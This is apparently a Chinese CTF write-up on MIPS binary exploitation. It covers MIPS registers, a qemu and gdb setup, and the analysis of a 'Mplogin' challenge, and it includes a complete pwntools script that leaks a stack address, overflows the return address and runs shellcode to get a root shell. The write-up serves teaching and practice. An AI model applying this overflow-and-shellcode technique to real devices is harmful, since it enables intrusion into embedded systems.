0x00 简介

平时接触的Pwn题目都是x86/x64,长久以来难免产生厌倦,今天就让来看看mips平台下是如何利用的。

0x01 Mips初探

1.1 Mips 简介

mipsx86一样属于一种cpu架构,mips是大端(big-endian)架构,而mipsel是小端(little-endian)架构。

1.2 Mips 小tips

1.mips汇编不同于x86汇编,属于精简指令集,常见于路由器等一些嵌入式设备中。

2.mips汇编没有对堆栈的直接操作,也就是没有pushpop指令,mips汇编中保留了32个通用寄存器,但是不同于x86汇编,mips汇编中没有ebp/rbp寄存器。

3.mips每条指令都用固定的长度,每条指令都是四个字节,所以内存数据的访问必须以32位严格对齐,这一点也不同于x86汇编。

1.3 Mips Pwn 需要的知识

1.3.1 寄存器

MIPS32寄存器分为两类:通用寄存器(GPR)和特殊寄存器。

| 编号    | 寄存器名称 | 描述                                                      | :------ | :--------- | :----------------------------------------------------- | $0      | $zero      | 第0号寄存器,其值始终为0。                                 | $1      | $at        | 保留寄存器                                               | $2-$3   | $v0-$v1    | values,保存表达式或函数返回结果                            | $4-$7   | $a0-$a3    | argument,作为函数的前四个参数                             | $8-$15  | $t0-$t7    | temporaries,供汇编程序使用的临时寄存器                | $16-$23 | $s0-$s7    | saved values,子函数使用时需先保存原寄存器的值         | $24-$25 | $t8-$t9    | temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7。 | $26-$27 | $k0-$k1    | 保留,中断处理函数使用                                 | $28     | $gp        | global pointer,全局指针                               | $29     | $sp        | stack pointer,堆栈指针,指向堆栈的栈顶                | $30     | $fp        | frame pointer,保存栈指针                              | $31     | $ra        | return address,返回地址                    

1.3.2 传参方式

$a0~$a3传递函数的前4个参数,aargument的缩写,多余的参数用栈传递。

1.3.3 函数返回值

一般用$v0~$v1寄存器传递。v也就是value的缩写。

1.3.4 跳转指令

j指令跳转到某个标签处,单纯的jmp

jr指令用于跳转到寄存器里的地址值指向的地方。

jal 跳转时,会将返回地址存入$ra寄存器。

jalr 与jal指令类似,只不过后面的对象为寄存器,并执行下一条语句(一般为nop)。

$ra寄存器,ra为,return address的缩写,一般用于存储返回地址,一个函数结尾往往会从栈里弹出一个值赋值给$ra寄存器,然后jr $ra

1.3.5 内存读取指令

sw register,addr指令,swstore word的缩写(对应的有store byte),将register寄存器里的值写入到addr地址处,说了这么多其实就是出栈。

lw register,addr指令,lwload word的缩写(对应的有load byte),读取addr处的数据,放入register寄存器。入栈。

1.3.6 寻址

la指令,相当于x86lea

lai指令,i的意思是immediate立即数,即后面的对象为立即数。

la $a0,1($s0)指令,带有偏移的寻址,它的作用是$a0 = 1 + $s0

0x02 小栗题

2.1 例行检查


    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x400640
  Start of program headers:          52 (bytes into file)
  Start of section headers:          4248 (bytes into file)
  Flags:                             0x50001007, noreorder, pic, cpic, o32, mips32
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         26
  Section header string table index: 25

经过调查这个犯罪嫌疑题是mips32位小端序,动态链接,保护全关,我们后续可以使用qemu来运行。

2.2 Mips 运行环境

1.首先的话需要安装一个mips的交叉编译环境,安装完成以后就可以自己编译mips程序,可以使用qemu运行程序。

sudo apt install linux-libc-dev-mips-cross libc6-mips-cross libc6-dev-mips-cross binutils-mips-linux-gnu大端sudo apt install gcc-mips-linux-gnu g++-mips-linux-gnu小端sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu
安装qemuhttps://blog.csdn.net/weixin_38227420/article/details/88402738

2.程序是一个动态链接的mips小端序的32位可执行程序,所以我们使用qemu运行的时候需要注意一下。

qemu-mipsel  -L ./  ./Mplogin 
|>19:06:46<|(^ω^)$qemu-mipsel  -L ./  ./Mplogin -----we1c0me t0 MP l0g1n s7stem-----Username : 

3.我们还需要用gdb进行调试,所以需要gdb-multiarch,本地起一个。

qemu-mipsel  -g 12345 -L  ./  ./Mplogin 
gdb-multiarchset architecture mips                     设置架构set endian little                             设置大小段symbol-file ./mplogin/Mplogin     导入调试文件的符号表target remote 127.0.0.1:12345       连接远程调试

但是每次调试都得重新设置,有点麻烦,所以我们可以在目录中创建一个.gdbinit

内容set architecture mipsset endian littlesymbol-file ./Mplogintarget remote 127.0.0.1:12345

但是我发现他不好用,默认还是使用/root/.gdbinit下的配置文件,后来找到了问题所在。

新版的gdb从安全角度进行了一些限制,默认./.gdbinit不会加载,如果需要禁止这个安全功能,可以修改~/.gdbinit,添加set auto-load safe-path /。如果只是想加载某个目录下的.gdbinit,可以在~/.gdbinit下添加add-auto-load-safe-path /home/linux/project/Demo/linux/gdb/.gdbinit。
当 GDB(即 GNU Project Debugger)启动时,它在当前用户的主目录中寻找一个名为 .gdbinit的文件;如果该文件存在,则 GDB 就执行该文件中的所有命令。

直接使用gdb-multiarch 即可。

把前期准备工作做完了,后面就可以开始我们的调试利用了。

2.3 题目分析

1.题目main函数主要有,我已经进行了rename,就是usernamepassword首先进入username中查看。


int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // $a2
  int v5; // [sp+18h] [+18h]

  setbuf(stdin, 0, envp);
  setbuf(stdout, 0, v3);
  printf("\x1B[33m");
  puts("-----we1c0me t0 MP l0g1n s7stem-----");
  v5 = username();
  password(v5);
  printf("\x1B[32m");
  return puts("Now you getshell~");
}

2.跟进username看一下,这里read虽然没有溢出,但是没有在末尾添加\x00 在printf的时候会打印出一部分栈数据,填满以后返回值就是24


int sub_400840()
{
  char v1[24]; // [sp+18h] [+18h] BYREF

  memset(v1, 0, sizeof(v1));
  printf("\x1B[34m");
  printf("Username : ");
  read(0, v1, 24);
  if ( strncmp(v1, "admin", 5) )
    exit(0);
  printf("Correct name : %s", v1);
  return strlen(v1);
}

3.第一个read出现了明显的栈溢出,v3是传进来的a1+4变成了28,在通过V3的值来控制第二的read的读入大小,然后造成栈溢出,从而控制程序执行流。


int __fastcall sub_400978(int a1)
{
  char v2[20]; // [sp+18h] [+18h] BYREF
  int v3; // [sp+2Ch] [+2Ch]
  char v4[36]; // [sp+3Ch] [+3Ch] BYREF

  v3 = userlen + 4;   // 28
  printf("\x1B[31m");
  printf("Pre_Password : ");
  read(0, v2, 36);   //v2 48
  printf("Password : ");     
  read(0, v4, v3);    //v3 34    v4 24
  if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) )
    exit(0);
  return puts("Correct password : **********");
}

4.第一次payload:"admin" + ‘a'*19 填满第一次read

第二次payload: "access" + "a"*14 + p32(0x200)   填满第二次read并覆盖变量v3

第三次payload:”0123456789“ + "a"*30 + 栈顶地址 + shellcode填满第三次read,ra覆盖为栈顶地址并写入shellcode执行。

2.4 调试

1.$sp寄存器的值是0x7ffff0a8buf的地址在$sp指向的栈顶加18字节处,0x7ffff0c0就是buf起始地址,我们向buf填充24个可见字符的时候就会泄漏0x76fffe0e后续把shellcode布置到这个地址就可以。

sa("Username :",'adminaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')

2.接收泄漏地址。

sa("Username :",'adminaaaaaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')leak = u32(r(4))log.success(hex(leak))

3.按照我们上面的思路下一步需要覆盖一下v3,让栈溢出,可以看到两个相差14

buf大小只有20,我们可以输入36,也造成了缓冲区溢出,正好可以覆盖我们的length,我们可以调试一下看看,初始的时候length长度是多少。


int __fastcall password(int userlen)
{
  char buf[20]; // [sp+18h] [+18h] BYREF
  int length; // [sp+2Ch] [+2Ch]
  char v4[36]; // [sp+3Ch] [+3Ch] BYREF

  length = userlen + 4;
  printf("\x1B[31m");
  printf("Pre_Password : ");
  read(0, buf, 36); 
  printf("Password : ");
  read(0, v4, length);
  if ( strncmp(buf, "access", 6) || strncmp(v4, "0123456789", 10) )
    exit(0);
  return puts("Correct password : **********");
}

看到V0 寄存器length长度是0x23 也就是35 为什么是35呢?我们看一下payload

sa("Username :",'adminaaaaaaaaaaaaaaaaaaa\x00') 

这里是24个,还有下面泄漏的数据也要加上,这就是31个,password里面的length = userlen + 4;这段就是35个,而v4的大小是36不能造成溢出,就需要我们在read(0, buf, 36); 处修改length的大小造成溢出。

2.5 溢出来了?

先看一下length没有被覆盖在栈中的位置及大小。

我们把它覆盖掉再看,二伯了已经。这就造成了下面的一个read栈溢出。

payload  = "access" + 14*'a' + p32(0x200)
s(payload)

2.6 getshell

首先既然造成了栈溢出,我们就需要测一下偏移,下一个断点在0x0400AE4处,然后填充。

pwndbg> cyclic -l aaia 30

这样的话就可以构造payload了。

sa("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))

程序的$ra寄存器已经返回到了0x76fff0e0,而这里面存放的是我们的shellcode,从而执行拿到shell


*V0   0xfab
 V1   0x1
 A0   0x76fff0d4 ◂— '//bin/sh'
 A1   0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
 A2   0x76fff0cc ◂— 0
 A3   0x0
 T0   0x76ffef50 ◂— 0
 T1   0x6873
 T2   0x0
 T3   0x0
 T4   0x767e604c ◂— 0
 T5   0x1
 T6   0xfffffff
 T7   0x400567 ◂— 'strlen'
 T8   0x18
 T9   0xfffffffb
 S0   0x76806010 ◂— 0
 S1   0x4005d8 (_init) ◂— lui    $gp, 2 /* 0x3c1c0002 */
 S2   0x0
 S3   0x0
 S4   0x0
 S5   0x0
 S6   0x0
 S7   0x0
 S8   0x61616161 ('aaaa')
 FP   0x0
 SP   0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
*PC   0x76fff150 ◂— syscall 0x40404 /* 0x101010c */
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
   0x76fff13c    add    $a1, $sp, $a1
   0x76fff140    sw     $a1, -4($sp)
   0x76fff144    addi   $sp, $sp, -4
   0x76fff148    add    $a1, $sp, $zero
   0x76fff14c    ori    $v0, $zero, 0xfab
 ► 0x76fff150    syscall 0x40404 <SYS_execve>
        path: 0x76fff0d4 ◂— '//bin/sh'
        argv: 0x76fff0c0 —▸ 0x76fff0c8 ◂— 0x6873 /* 'sh' */
        envp: 0x76fff0cc ◂— 0x0
   0x76fff154    movz   $zero, $zero, $zero
   0x76fff158    nop    
   0x76fff15c    sll    $v0, $zero, 0
   0x76fff160    jalx   0x7a018040
   0x76fff164    jalx   0x79f9c000
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ a1 sp 0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
01:0004│       0x76fff0c4 ◂— 0
02:0008│       0x76fff0c8 ◂— tltu   $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
03:000c│ a2    0x76fff0cc ◂— 0
04:0010│       0x76fff0d0 ◂— 0
05:0014│ a0    0x76fff0d4 ◂— '//bin/sh'
06:0018│       0x76fff0d8 ◂— 'n/sh'
07:001c│       0x76fff0dc ◂— 0
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0 0x76fff150

2.7 EXP


# -*- coding: UTF-8 -*-
import sys
from pwn import *

context(arch='mips',endian='little',log_level='debug')

# context.log_level = 'debug'

shell = lambda : p.interactive()
s = lambda buf: p.send(buf)
ss = lambda buf: p.send(str(buf))
sl = lambda buf: p.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: p.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: p.sendlineafter(delim, buf)

r = lambda n: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim, drop=False: p.recvuntil(delim, drop)
rl = lambda: p.recvline()
e4 = lambda logg : log.success(logg)

def gdb_attach():
    os.system('gnome-terminal -x sh -c "gdb-multiarch -ex \'b * 0x0400AE4   \'"')


if sys.argv[1] == 'p': 
    p = process(["qemu-mipsel","-L","./","./Mplogin"])
    sleep(1)
else:
    p = process(["qemu-mipsel","-g","12345","-L","./","./Mplogin"]) 
    gdb_attach()


elf = ELF('./Mplogin')
libc = ELF('./lib/libc.so.0')
# shellcode = "\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"



sa("Username :","adminaaaaaaaaaaaaaaaaaaa")
ru('aaaaaaaaaaaaaaaaaaa')
leak = u32(r(4))
e4(hex(leak))

# ru("Pre_Password : ")
# payload  = "access"
payload  = "access" + 14*'a' + p32(0x200)
s(payload)
sla("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))

shell()

[*] Switching to interactive mode
[DEBUG] Received 0x29 bytes:
    'Password : Correct password : **********\n'
Password : Correct password : **********
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x27 bytes:
    'uid=0(root) gid=0(root) groups=0(root)\n'
uid=0(root) gid=0(root) groups=0(root)

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。